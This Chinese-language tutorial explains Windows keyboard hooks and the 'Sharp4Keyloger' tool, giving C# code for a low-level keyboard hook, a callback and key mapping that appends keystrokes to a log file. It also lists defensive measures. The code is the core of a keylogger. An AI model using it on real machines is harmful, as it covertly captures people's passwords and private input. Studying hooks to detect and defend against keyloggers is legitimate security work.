Sharp4Keyloger:一款通过 API 函数实现 Windows 键盘日志记录的工具
字数 1137 2025-08-29 08:30:24

Windows键盘钩子技术详解与Sharp4Keyloger实现

1. 钩子(Hook)技术概述

钩子(Hook)是Windows操作系统内置的监控和拦截机制,用于拦截和处理操作系统或应用程序中的特定事件或消息。钩子技术可以:

  • 监视和修改系统行为
  • 获取或改变事件流
  • 无需直接修改目标程序源代码

1.1 钩子工作原理

钩子的工作流程分为四个阶段:

  1. 安装钩子:通过SetWindowsHookEx函数安装
  2. 处理事件:事件发生时调用回调函数
  3. 事件传递:通过CallNextHookEx决定是否传递事件
  4. 卸载钩子:通过UnhookWindowsHookEx释放资源

1.2 钩子类型

Windows系统中主要的钩子类型包括:

  • 键盘钩子:拦截键盘输入事件
  • 鼠标钩子:拦截鼠标操作事件
  • 消息钩子:拦截窗口消息
  • 系统钩子:拦截系统级别事件(如系统通知、窗口切换等)

2. 关键API函数

2.1 SetWindowsHookEx

用于安装钩子,创建钩子链:

HHOOK SetWindowsHookEx(
  int       idHook,    // 钩子类型(如WH_KEYBOARD_LL)
  HOOKPROC  lpfn,      // 回调函数指针
  HINSTANCE hMod,      // 包含回调函数的DLL句柄
  DWORD     dwThreadId // 关联的线程ID(0表示所有线程)
);

2.2 CallNextHookEx

用于将事件传递给钩子链中的下一个处理程序:

LRESULT CallNextHookEx(
  HHOOK  hhk,    // 当前钩子句柄
  int    nCode,  // 钩子代码
  WPARAM wParam, // 消息参数
  LPARAM lParam  // 消息参数
);

2.3 UnhookWindowsHookEx

用于卸载已安装的钩子:

BOOL UnhookWindowsHookEx(
  HHOOK hhk  // 要卸载的钩子句柄
);

3. 键盘钩子实现

3.1 基本结构

实现键盘钩子的基本代码结构:

// 定义钩子回调委托
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

// 钩子句柄
private static IntPtr _hookID = IntPtr.Zero;

// 钩子回调实例
private static readonly LowLevelKeyboardProc _proc = HookCallback;

3.2 设置钩子

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        return SetWindowsHookEx(WH_KEYBOARD_LL, proc, 
            GetModuleHandle(curModule.ModuleName), 0);
    }
}

3.3 钩子回调函数

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        
        // 排除Caps Lock(20)和Backspace(8)
        if (vkCode != 20 && vkCode != 8)
        {
            WriteFile(vkCode);
        }
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

4. 按键处理逻辑

4.1 特殊按键处理

private static void WriteFile(int vkCode)
{
    string toWrite = "";
    
    // 处理特殊按键
    switch (vkCode)
    {
        case 160: // Shift键不记录
            return;
        case 13:  // 回车键
            toWrite = Environment.NewLine;
            break;
        case 190: // 句号键
            toWrite = ".";
            break;
        // 其他特殊按键处理...
    }
    
    // 记录到文件
    if (!string.IsNullOrEmpty(toWrite))
    {
        File.AppendAllText("keylog.txt", toWrite);
    }
}

4.2 数字键处理

// 数字键处理(考虑Shift状态)
if (vkCode >= 48 && vkCode <= 57) // 0-9
{
    bool shiftPressed = (GetKeyState(160) & 0x8000) != 0;
    
    toWrite = shiftPressed ? 
        ")!@#$%^&*("[vkCode - 48].ToString() : 
        (vkCode - 48).ToString();
}

4.3 字母键处理

// 字母键处理(考虑Shift和CapsLock状态)
if (vkCode >= 65 && vkCode <= 90) // A-Z
{
    bool shiftPressed = (GetKeyState(160) & 0x8000) != 0;
    bool capsLockOn = (GetKeyState(20) & 0x0001) != 0;
    
    bool upperCase = shiftPressed ^ capsLockOn;
    toWrite = upperCase ? 
        ((char)vkCode).ToString() : 
        ((char)(vkCode + 32)).ToString();
}

5. 完整实现流程

  1. 初始化钩子

    • 定义回调委托
    • 获取当前进程模块句柄
    • 调用SetWindowsHookEx安装钩子
  2. 事件处理

    • 在回调函数中过滤有效按键事件
    • 排除不需要记录的按键(如Shift、CapsLock等)
    • 处理特殊按键和组合键
  3. 记录数据

    • 将处理后的按键信息写入文件
    • 使用File.AppendAllText追加记录
  4. 清理资源

    • 程序退出时调用UnhookWindowsHookEx卸载钩子
    • 释放相关资源

6. 防御措施

了解键盘钩子技术的同时,也应了解如何防御此类攻击:

  1. 使用安全软件:安装反病毒/反间谍软件
  2. 监控钩子安装:使用工具监控SetWindowsHookEx调用
  3. 输入保护:在输入敏感信息时使用虚拟键盘
  4. 权限控制:限制非管理员用户安装全局钩子
  5. 行为监控:监控可疑的文件写入行为

7. 总结

Windows键盘钩子技术提供了强大的系统事件拦截能力,可以用于:

  • 合法的应用程序增强(如快捷键管理)
  • 辅助功能开发(如屏幕阅读器)
  • 安全监控(如家长控制)
  • 渗透测试中的信息收集

Sharp4Keyloger展示了如何利用这些API实现键盘记录功能,但在实际应用中必须遵守法律法规,仅在授权范围内使用此类技术。

Windows键盘钩子技术详解与Sharp4Keyloger实现 1. 钩子(Hook)技术概述 钩子(Hook)是Windows操作系统内置的监控和拦截机制,用于拦截和处理操作系统或应用程序中的特定事件或消息。钩子技术可以: 监视和修改系统行为 获取或改变事件流 无需直接修改目标程序源代码 1.1 钩子工作原理 钩子的工作流程分为四个阶段: 安装钩子 :通过 SetWindowsHookEx 函数安装 处理事件 :事件发生时调用回调函数 事件传递 :通过 CallNextHookEx 决定是否传递事件 卸载钩子 :通过 UnhookWindowsHookEx 释放资源 1.2 钩子类型 Windows系统中主要的钩子类型包括: 键盘钩子 :拦截键盘输入事件 鼠标钩子 :拦截鼠标操作事件 消息钩子 :拦截窗口消息 系统钩子 :拦截系统级别事件(如系统通知、窗口切换等) 2. 关键API函数 2.1 SetWindowsHookEx 用于安装钩子,创建钩子链: 2.2 CallNextHookEx 用于将事件传递给钩子链中的下一个处理程序: 2.3 UnhookWindowsHookEx 用于卸载已安装的钩子: 3. 键盘钩子实现 3.1 基本结构 实现键盘钩子的基本代码结构: 3.2 设置钩子 3.3 钩子回调函数 4. 按键处理逻辑 4.1 特殊按键处理 4.2 数字键处理 4.3 字母键处理 5. 完整实现流程 初始化钩子 : 定义回调委托 获取当前进程模块句柄 调用 SetWindowsHookEx 安装钩子 事件处理 : 在回调函数中过滤有效按键事件 排除不需要记录的按键(如Shift、CapsLock等) 处理特殊按键和组合键 记录数据 : 将处理后的按键信息写入文件 使用 File.AppendAllText 追加记录 清理资源 : 程序退出时调用 UnhookWindowsHookEx 卸载钩子 释放相关资源 6. 防御措施 了解键盘钩子技术的同时,也应了解如何防御此类攻击: 使用安全软件 :安装反病毒/反间谍软件 监控钩子安装 :使用工具监控 SetWindowsHookEx 调用 输入保护 :在输入敏感信息时使用虚拟键盘 权限控制 :限制非管理员用户安装全局钩子 行为监控 :监控可疑的文件写入行为 7. 总结 Windows键盘钩子技术提供了强大的系统事件拦截能力,可以用于: 合法的应用程序增强(如快捷键管理) 辅助功能开发(如屏幕阅读器) 安全监控(如家长控制) 渗透测试中的信息收集 Sharp4Keyloger展示了如何利用这些API实现键盘记录功能,但在实际应用中必须遵守法律法规,仅在授权范围内使用此类技术。